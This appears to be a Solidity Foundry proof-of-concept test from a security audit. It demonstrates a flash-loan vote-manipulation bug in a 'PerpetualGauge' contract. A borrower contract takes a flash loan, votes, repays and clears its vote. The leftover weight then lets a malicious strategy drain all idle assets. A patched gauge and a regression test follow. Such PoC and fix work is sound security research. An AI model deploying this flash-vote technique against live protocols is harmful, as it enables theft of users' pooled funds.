Copy // SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC3156FlashBorrower, IERC3156FlashLender} from "@openzeppelin/contracts/interfaces/IERC3156.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {PerpetualGauge, IAllocatorProxy} from "src/PerpetualGauge.sol";
import {IStrategyClassifier} from "src/interfaces/IStrategyClassifier.sol";
interface IPerpetualGaugeMinimal {
function vote(uint256 ytId, uint256[] calldata strategyIds, uint256[] calldata weights) external;
function clearVote(uint256 ytId) external;
}
contract MockVotingToken is IERC20 {
string public constant name = "Mock Voting Token";
string public constant symbol = "MVT";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(uint256 initialSupply, address initialHolder) {
totalSupply = initialSupply;
balanceOf[initialHolder] = initialSupply;
}
function transfer(address to, uint256 amount) external returns (bool) {
_spend(msg.sender, amount);
balanceOf[to] += amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (msg.sender != from) {
uint256 allowed = allowance[from][msg.sender];
require(allowed >= amount, "allowance");
allowance[from][msg.sender] = allowed - amount;
}
_spend(from, amount);
balanceOf[to] += amount;
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function _spend(address owner, uint256 amount) internal {
uint256 bal = balanceOf[owner];
require(bal >= amount, "balance");
balanceOf[owner] = bal - amount;
}
}
contract MockLiquidityToken {
string public constant name = "Mock Liquidity Token";
string public constant symbol = "mASSET";
uint8 public constant decimals = 18;
mapping(address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 amount);
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
function transfer(address to, uint256 amount) external returns (bool) {
require(balanceOf[msg.sender] >= amount, "insufficient");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
}
contract MockStrategyClassifier is IStrategyClassifier {
mapping(uint256 => uint8) public risk;
mapping(uint256 => uint256) public indivCap;
mapping(uint8 => uint256) public globalCap;
function setRisk(uint256 strategyId, uint8 level) external {
risk[strategyId] = level;
}
function setIndividualCap(uint256 strategyId, uint256 capBps) external {
indivCap[strategyId] = capBps;
}
function setGlobalCap(uint8 riskLevel, uint256 capBps) external {
globalCap[riskLevel] = capBps;
}
function getStrategyRiskLevel(uint256 strategyId) external view override returns (uint8) {
return risk[strategyId];
}
function getIndividualCap(uint256 strategyId) external view override returns (uint256) {
return indivCap[strategyId];
}
function getGlobalCap(uint8 riskLevel) external view override returns (uint256) {
return globalCap[riskLevel];
}
}
contract MaliciousStrategy {
MockLiquidityToken public immutable asset;
event Looted(address indexed from, uint256 amount);
constructor(MockLiquidityToken asset_) {
asset = asset_;
}
function onAllocate(uint256 amount) external {
emit Looted(msg.sender, amount);
}
}
contract MockAllocatorProxy is IAllocatorProxy {
event Allocate(uint256 indexed strategyId, uint256 amount);
MockLiquidityToken public immutable asset;
mapping(uint256 => address) public adapters;
constructor(MockLiquidityToken asset_) {
asset = asset_;
}
function registerStrategy(uint256 strategyId, address adapter) external {
adapters[strategyId] = adapter;
}
function allocate(uint256 strategyId, uint256 amount) external override {
address target = adapters[strategyId];
require(target != address(0), "adapter unset");
require(asset.balanceOf(address(this)) >= amount, "insufficient asset");
require(asset.transfer(target, amount), "transfer failed");
emit Allocate(strategyId, amount);
if (target.code.length > 0) {
(bool success,) = target.call(abi.encodeWithSignature("onAllocate(uint256)", amount));
require(success, "adapter callback failed");
}
}
}
contract FlashLoanLender is IERC3156FlashLender {
IERC20 public immutable asset;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(IERC20 asset_) {
asset = asset_;
}
function maxFlashLoan(address token) external view override returns (uint256) {
return token == address(asset) ? asset.balanceOf(address(this)) : 0;
}
function flashFee(address token, uint256) external view override returns (uint256) {
require(token == address(asset), "unsupported token");
return 0;
}
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external override returns (bool) {
require(token == address(asset), "unsupported token");
uint256 balanceBefore = asset.balanceOf(address(this));
require(amount <= balanceBefore, "insufficient liquidity");
require(asset.transfer(address(receiver), amount), "loan transfer failed");
bytes32 response = receiver.onFlashLoan(msg.sender, token, amount, 0, data);
require(response == CALLBACK_SUCCESS, "callback failure");
require(asset.transferFrom(address(receiver), address(this), amount), "repay failed");
require(asset.balanceOf(address(this)) >= balanceBefore, "balance shortfall");
return true;
}
}
contract FlashVoteBorrower is IERC3156FlashBorrower {
IERC3156FlashLender public immutable lender;
IPerpetualGaugeMinimal public immutable gauge;
IERC20 public immutable token;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(IERC3156FlashLender lender_, IPerpetualGaugeMinimal gauge_, IERC20 token_) {
lender = lender_;
gauge = gauge_;
token = token_;
}
function executeFlashVote(
uint256 amount,
uint256 ytId,
uint256[] memory strategyIds,
uint256[] memory weights
) external {
lender.flashLoan(this, address(token), amount, abi.encode(ytId, strategyIds, weights));
}
function clearGaugeVote(uint256 ytId) external {
gauge.clearVote(ytId);
}
function onFlashLoan(
address initiator,
address tokenAddress,
uint256 amount,
uint256 fee,
bytes calldata data
) external override returns (bytes32) {
require(msg.sender == address(lender), "invalid lender");
require(initiator == address(this), "invalid initiator");
require(tokenAddress == address(token), "invalid token");
require(fee == 0, "unexpected fee");
(uint256 ytId, uint256[] memory strategyIds, uint256[] memory weights) = abi.decode(data, (uint256, uint256[], uint256[]));
gauge.vote(ytId, strategyIds, weights);
require(token.approve(address(lender), amount), "approve failed");
return CALLBACK_SUCCESS;
}
}
contract PerpetualGaugeHarness is PerpetualGauge {
constructor(address classifier, address allocatorProxy, address votingToken)
PerpetualGauge(classifier, allocatorProxy, votingToken) {}
function exposeStrategyList(uint256 ytId) external view returns (uint256[] memory) {
return strategyList[ytId];
}
function registerStrategy(uint256 ytId, uint256 strategyId) external {
strategyList[ytId].push(strategyId);
}
function exposedVote(uint256 ytId, address voter) external view returns (Vote memory vote) {
vote = votes[ytId][voter];
}
}
contract PerpetualGaugeFixed is ReentrancyGuard {
event VoteUpdated(address indexed voter, uint256 ytId, uint256[] strategyIds, uint256[] weights, uint256 expiry);
event AllocationExecuted(uint256 ytId, uint256[] strategyIds, uint256[] amounts);
event VoterCleared(address indexed voter, uint256 ytId);
struct Vote {
uint256[] strategyIds;
uint256[] weights;
uint256 expiry;
uint256 powerSnapshot;
}
IStrategyClassifier public stratClassifier;
IAllocatorProxy public allocatorProxy;
IERC20 public votingToken;
uint256 public constant MAX_VOTE_DURATION = 365 days;
uint256 public constant MIN_RESET_DURATION = 30 days;
mapping(uint256 => mapping(address => Vote)) public votes;
mapping(uint256 => uint256) public lastStrategyAddedAt;
mapping(uint256 => address[]) private voters;
mapping(uint256 => mapping(address => uint256)) private voterIndex;
mapping(uint256 => mapping(uint256 => uint256)) internal aggStrategyWeight;
mapping(uint256 => uint256[]) public strategyList;
constructor(address classifier, address allocatorProxy_, address votingToken_) {
require(classifier != address(0) && allocatorProxy_ != address(0) && votingToken_ != address(0), "Bad address");
stratClassifier = IStrategyClassifier(classifier);
allocatorProxy = IAllocatorProxy(allocatorProxy_);
votingToken = IERC20(votingToken_);
}
function vote(uint256 ytId, uint256[] calldata strategyIds, uint256[] calldata weights) external nonReentrant {
require(strategyIds.length == weights.length && strategyIds.length > 0, "Invalid input");
uint256 lastAdded = lastStrategyAddedAt[ytId];
Vote storage existing = votes[ytId][msg.sender];
uint256 expiry;
if (existing.expiry > block.timestamp) {
uint256 timeLeft = existing.expiry - block.timestamp;
if (lastAdded > 0 && block.timestamp - lastAdded < MIN_RESET_DURATION && timeLeft < MIN_RESET_DURATION) {
expiry = existing.expiry;
} else {
expiry = block.timestamp + MAX_VOTE_DURATION;
}
} else {
expiry = block.timestamp + MAX_VOTE_DURATION;
}
uint256 power = votingToken.balanceOf(msg.sender);
uint256 existingPower = existing.powerSnapshot;
if (existing.strategyIds.length > 0 && existing.expiry > block.timestamp && existingPower > 0) {
for (uint256 i = 0; i < existing.strategyIds.length; i++) {
uint256 sid = existing.strategyIds[i];
uint256 prevWeighted = existing.weights[i] * existingPower;
aggStrategyWeight[ytId][sid] -= prevWeighted;
}
}
votes[ytId][msg.sender] = Vote({
strategyIds: strategyIds,
weights: weights,
expiry: expiry,
powerSnapshot: power
});
if (power > 0) {
for (uint256 i = 0; i < strategyIds.length; i++) {
uint256 sid = strategyIds[i];
uint256 newWeighted = weights[i] * power;
aggStrategyWeight[ytId][sid] += newWeighted;
}
}
if (voterIndex[ytId][msg.sender] == 0) {
voters[ytId].push(msg.sender);
voterIndex[ytId][msg.sender] = voters[ytId].length;
}
emit VoteUpdated(msg.sender, ytId, strategyIds, weights, expiry);
}
function clearVote(uint256 ytId) external nonReentrant {
Vote storage v = votes[ytId][msg.sender];
require(v.strategyIds.length > 0, "No vote");
uint256 snapshot = v.powerSnapshot;
if (snapshot > 0) {
for (uint256 i = 0; i < v.strategyIds.length; i++) {
uint256 sid = v.strategyIds[i];
uint256 weighted = v.weights[i] * snapshot;
aggStrategyWeight[ytId][sid] -= weighted;
}
}
delete votes[ytId][msg.sender];
emit VoterCleared(msg.sender, ytId);
}
function registerNewStrategy(uint256 ytId, uint256) external nonReentrant {
lastStrategyAddedAt[ytId] = block.timestamp;
}
function getCurrentAllocations(uint256 ytId)
public
view
returns (uint256[] memory strategyIds, uint256[] memory normalizedWeights)
{
uint256 n = strategyList[ytId].length;
strategyIds = new uint256[](n);
normalizedWeights = new uint256[](n);
uint256 total;
for (uint256 i; i < n; i++) {
uint256 sid = strategyList[ytId][i];
strategyIds[i] = sid;
uint256 w = aggStrategyWeight[ytId][sid];
normalizedWeights[i] = w;
total += w;
}
for (uint256 i; i < n; i++) {
if (total > 0) {
normalizedWeights[i] = (normalizedWeights[i] * 1e18) / total;
}
}
}
function executeAllocation(uint256 ytId, uint256 totalIdleAssets) external nonReentrant {
(uint256[] memory sIds, uint256[] memory weights) = getCurrentAllocations(ytId);
require(sIds.length > 0, "No allocations");
uint256 totalRiskAllocated;
uint256[] memory allocatedAmounts = new uint256[](sIds.length);
for (uint256 i = 0; i < sIds.length; i++) {
uint8 risk = stratClassifier.getStrategyRiskLevel(sIds[i]);
uint256 indivCap = stratClassifier.getIndividualCap(sIds[i]);
uint256 globalCap = stratClassifier.getGlobalCap(risk);
uint256 target = (weights[i] * totalIdleAssets) / 1e18;
uint256 capIndiv = (indivCap * totalIdleAssets) / 1e4;
if (target > capIndiv) target = capIndiv;
if (risk > 0) {
uint256 capGlobalLeft = (globalCap * totalIdleAssets) / 1e4 - totalRiskAllocated;
if (target > capGlobalLeft) target = capGlobalLeft;
totalRiskAllocated += target;
}
if (target > 0) {
allocatorProxy.allocate(sIds[i], target);
}
allocatedAmounts[i] = target;
}
emit AllocationExecuted(ytId, sIds, allocatedAmounts);
}
function registerStrategy(uint256 ytId, uint256 strategyId) external {
strategyList[ytId].push(strategyId);
}
}
contract PerpetualGaugeFixedHarness is PerpetualGaugeFixed {
constructor(address classifier, address allocatorProxy, address votingToken)
PerpetualGaugeFixed(classifier, allocatorProxy, votingToken) {}
function exposeStrategyList(uint256 ytId) external view returns (uint256[] memory) {
return strategyList[ytId];
}
function registerStrategyHarness(uint256 ytId, uint256 strategyId) external {
strategyList[ytId].push(strategyId);
}
function exposedVote(uint256 ytId, address voter) external view returns (Vote memory vote) {
vote = votes[ytId][voter];
}
}
contract PerpetualGaugeFlashVotePoCTest is Test {
event AllocationExecuted(uint256 ytId, uint256[] strategyIds, uint256[] amounts);
event Allocate(uint256 indexed strategyId, uint256 amount);
MockVotingToken internal votingToken;
MockLiquidityToken internal assetToken;
MockStrategyClassifier internal classifier;
MockAllocatorProxy internal allocator;
PerpetualGaugeHarness internal gauge;
MaliciousStrategy internal malicious;
FlashLoanLender internal flashLender;
FlashVoteBorrower internal flashBorrower;
address internal constant LENDER = address(0xBEEF);
address internal constant ATTACKER = address(0xBADCAFE);
uint256 internal constant FLASH_AMOUNT = 1_000 ether;
uint256 internal constant YIELD_TOKEN_ID = 1;
uint256 internal constant STRATEGY_ID = 111;
function setUp() public {
votingToken = new MockVotingToken(10_000 ether, address(this));
assetToken = new MockLiquidityToken();
classifier = new MockStrategyClassifier();
allocator = new MockAllocatorProxy(assetToken);
gauge = new PerpetualGaugeHarness(address(classifier), address(allocator), address(votingToken));
malicious = new MaliciousStrategy(assetToken);
// Configure strategy caps (100% of idle assets allowed).
classifier.setRisk(STRATEGY_ID, 0);
classifier.setIndividualCap(STRATEGY_ID, 10_000); // 100% in basis points
classifier.setGlobalCap(0, 10_000);
// Register the strategy in both the gauge and allocator proxy.
gauge.registerStrategy(YIELD_TOKEN_ID, STRATEGY_ID);
allocator.registerStrategy(STRATEGY_ID, address(malicious));
// Provide lender liquidity while attacker holds none initially.
votingToken.transfer(LENDER, FLASH_AMOUNT);
assertEq(votingToken.balanceOf(ATTACKER), 0, "attacker starts without voting power");
// Deploy ERC-3156 lender/borrower harness and fund the lender.
flashLender = new FlashLoanLender(IERC20(address(votingToken)));
flashBorrower = new FlashVoteBorrower(flashLender, IPerpetualGaugeMinimal(address(gauge)), IERC20(address(votingToken)));
votingToken.transfer(address(flashLender), FLASH_AMOUNT);
// Prefund allocator with idle assets representing the vault reserves.
assetToken.mint(address(allocator), 2_000 ether);
}
function test_FlashVotePersistsAfterClear() public {
// Borrow voting power without any governance privileges.
vm.prank(LENDER);
votingToken.transfer(ATTACKER, FLASH_AMOUNT);
uint256[] memory strategies = new uint256[](1);
strategies[0] = STRATEGY_ID;
uint256[] memory weights = new uint256[](1);
weights[0] = 1; // minimal non-zero weight
uint256 expectedExpiry = block.timestamp + gauge.MAX_VOTE_DURATION();
vm.expectEmit(true, true, true, true, address(gauge));
emit PerpetualGauge.VoteUpdated(ATTACKER, YIELD_TOKEN_ID, strategies, weights, expectedExpiry);
vm.prank(ATTACKER);
gauge.vote(YIELD_TOKEN_ID, strategies, weights);
// Repay the temporary loan.
vm.prank(ATTACKER);
votingToken.transfer(LENDER, FLASH_AMOUNT);
assertEq(votingToken.balanceOf(ATTACKER), 0, "loan fully repaid");
// Confirm that 100% of the normalized allocation is assigned to the attacker strategy.
(uint256[] memory setBefore, uint256[] memory normalizedBefore) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
assertEq(setBefore.length, 1, "single strategy registered");
assertEq(setBefore[0], STRATEGY_ID, "strategy id matches");
assertEq(normalizedBefore[0], 1e18, "allocation equals 100% before clear");
// Clearing the vote zeroes the on-chain vote record but leaves the aggregate weight intact.
vm.expectEmit(true, true, false, true, address(gauge));
emit PerpetualGauge.VoterCleared(ATTACKER, YIELD_TOKEN_ID);
vm.prank(ATTACKER);
gauge.clearVote(YIELD_TOKEN_ID);
(uint256[] memory strategyIds, uint256[] memory normalizedAfter) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
assertEq(strategyIds.length, 1, "strategy still tracked");
assertEq(normalizedAfter[0], 1e18, "allocation persists after vote cleared");
// Verify public vote mapping is empty while the weight remains.
PerpetualGauge.Vote memory cleared = gauge.exposedVote(YIELD_TOKEN_ID, ATTACKER);
assertEq(cleared.strategyIds.length, 0, "no strategy ids stored in vote");
assertEq(cleared.weights.length, 0, "no weights stored in vote");
assertEq(cleared.expiry, 0, "vote metadata cleared");
// Expect allocator proxy transfer (emitted before the gauge-level summary event).
uint256 idleAssets = assetToken.balanceOf(address(allocator));
vm.expectEmit(true, true, false, true, address(allocator));
emit Allocate(STRATEGY_ID, idleAssets);
// Expect the gauge summary event with full allocation after internal loop completes.
vm.expectEmit(false, false, false, true, address(gauge));
emit AllocationExecuted(YIELD_TOKEN_ID, strategyIds, _singleAmountArray(idleAssets));
// Execute allocation; attacker-controlled adapter receives entire idle balance.
gauge.executeAllocation(YIELD_TOKEN_ID, idleAssets);
assertEq(assetToken.balanceOf(address(allocator)), 0, "allocator drained");
assertEq(assetToken.balanceOf(address(malicious)), idleAssets, "malicious strategy loots funds");
}
function test_FlashVotePersistsAfterClear_viaERC3156() public {
uint256[] memory strategies = new uint256[](1);
strategies[0] = STRATEGY_ID;
uint256[] memory weights = new uint256[](1);
weights[0] = 1;
uint256 flashExpiry = block.timestamp + gauge.MAX_VOTE_DURATION();
vm.expectEmit(true, true, true, true, address(gauge));
emit PerpetualGauge.VoteUpdated(address(flashBorrower), YIELD_TOKEN_ID, strategies, weights, flashExpiry);
flashBorrower.executeFlashVote(FLASH_AMOUNT, YIELD_TOKEN_ID, strategies, weights);
assertEq(votingToken.balanceOf(address(flashBorrower)), 0, "borrower repaid");
assertEq(votingToken.balanceOf(address(flashLender)), FLASH_AMOUNT, "lender reimbursed");
address voter = address(flashBorrower);
(uint256[] memory setBefore, uint256[] memory normalizedBefore) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
assertEq(setBefore.length, 1, "single strategy registered");
assertEq(setBefore[0], STRATEGY_ID, "strategy id matches");
assertEq(normalizedBefore[0], 1e18, "allocation equals 100% before clear");
vm.expectEmit(true, true, false, true, address(gauge));
emit PerpetualGauge.VoterCleared(address(flashBorrower), YIELD_TOKEN_ID);
flashBorrower.clearGaugeVote(YIELD_TOKEN_ID);
(uint256[] memory strategyIds, uint256[] memory normalizedAfter) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
assertEq(strategyIds.length, 1, "strategy still tracked");
assertEq(normalizedAfter[0], 1e18, "allocation persists after vote cleared");
PerpetualGauge.Vote memory cleared = gauge.exposedVote(YIELD_TOKEN_ID, voter);
assertEq(cleared.strategyIds.length, 0, "no strategy ids stored in vote");
assertEq(cleared.weights.length, 0, "no weights stored in vote");
assertEq(cleared.expiry, 0, "vote metadata cleared");
uint256 idleAssets = assetToken.balanceOf(address(allocator));
vm.expectEmit(true, true, false, true, address(allocator));
emit Allocate(STRATEGY_ID, idleAssets);
vm.expectEmit(false, false, false, true, address(gauge));
emit AllocationExecuted(YIELD_TOKEN_ID, strategyIds, _singleAmountArray(idleAssets));
gauge.executeAllocation(YIELD_TOKEN_ID, idleAssets);
assertEq(assetToken.balanceOf(address(allocator)), 0, "allocator drained");
assertEq(assetToken.balanceOf(address(malicious)), idleAssets, "malicious strategy loots funds");
}
function _singleAmountArray(uint256 value) internal pure returns (uint256[] memory arr) {
arr = new uint256[](1);
arr[0] = value;
}
}
contract PerpetualGaugeFixRegressionTest is Test {
MockVotingToken internal votingToken;
MockLiquidityToken internal assetToken;
MockStrategyClassifier internal classifier;
MockAllocatorProxy internal allocator;
PerpetualGaugeFixedHarness internal gauge;
MaliciousStrategy internal malicious;
FlashLoanLender internal flashLender;
FlashVoteBorrower internal flashBorrower;
uint256 internal constant FLASH_AMOUNT = 1_000 ether;
uint256 internal constant YIELD_TOKEN_ID = 1;
uint256 internal constant STRATEGY_ID = 111;
function setUp() public {
votingToken = new MockVotingToken(10_000 ether, address(this));
assetToken = new MockLiquidityToken();
classifier = new MockStrategyClassifier();
allocator = new MockAllocatorProxy(assetToken);
gauge = new PerpetualGaugeFixedHarness(address(classifier), address(allocator), address(votingToken));
malicious = new MaliciousStrategy(assetToken);
classifier.setRisk(STRATEGY_ID, 0);
classifier.setIndividualCap(STRATEGY_ID, 10_000);
classifier.setGlobalCap(0, 10_000);
gauge.registerStrategy(YIELD_TOKEN_ID, STRATEGY_ID);
allocator.registerStrategy(STRATEGY_ID, address(malicious));
flashLender = new FlashLoanLender(IERC20(address(votingToken)));
flashBorrower = new FlashVoteBorrower(flashLender, IPerpetualGaugeMinimal(address(gauge)), IERC20(address(votingToken)));
votingToken.transfer(address(flashLender), FLASH_AMOUNT);
assetToken.mint(address(allocator), 2_000 ether);
}
function test_FixedGaugeClearsResidualWeight() public {
uint256[] memory strategies = new uint256[](1);
strategies[0] = STRATEGY_ID;
uint256[] memory weights = new uint256[](1);
weights[0] = 1;
uint256 fixedExpiry = block.timestamp + gauge.MAX_VOTE_DURATION();
vm.expectEmit(true, true, true, true, address(gauge));
emit PerpetualGaugeFixed.VoteUpdated(address(flashBorrower), YIELD_TOKEN_ID, strategies, weights, fixedExpiry);
flashBorrower.executeFlashVote(FLASH_AMOUNT, YIELD_TOKEN_ID, strategies, weights);
address voter = address(flashBorrower);
(, uint256[] memory normalizedBefore) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
assertEq(normalizedBefore[0], 1e18, "allocation equals 100% before clear");
vm.expectEmit(true, true, false, true, address(gauge));
emit PerpetualGaugeFixed.VoterCleared(address(flashBorrower), YIELD_TOKEN_ID);
flashBorrower.clearGaugeVote(YIELD_TOKEN_ID);
(, uint256[] memory normalizedAfter) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
assertEq(normalizedAfter[0], 0, "allocation cleared");
PerpetualGaugeFixed.Vote memory cleared = gauge.exposedVote(YIELD_TOKEN_ID, voter);
assertEq(cleared.strategyIds.length, 0, "vote removed");
uint256 idleBefore = assetToken.balanceOf(address(allocator));
gauge.executeAllocation(YIELD_TOKEN_ID, idleBefore);
assertEq(assetToken.balanceOf(address(allocator)), idleBefore, "funds remain untouched");
assertEq(assetToken.balanceOf(address(malicious)), 0, "malicious strategy receives nothing");
}
}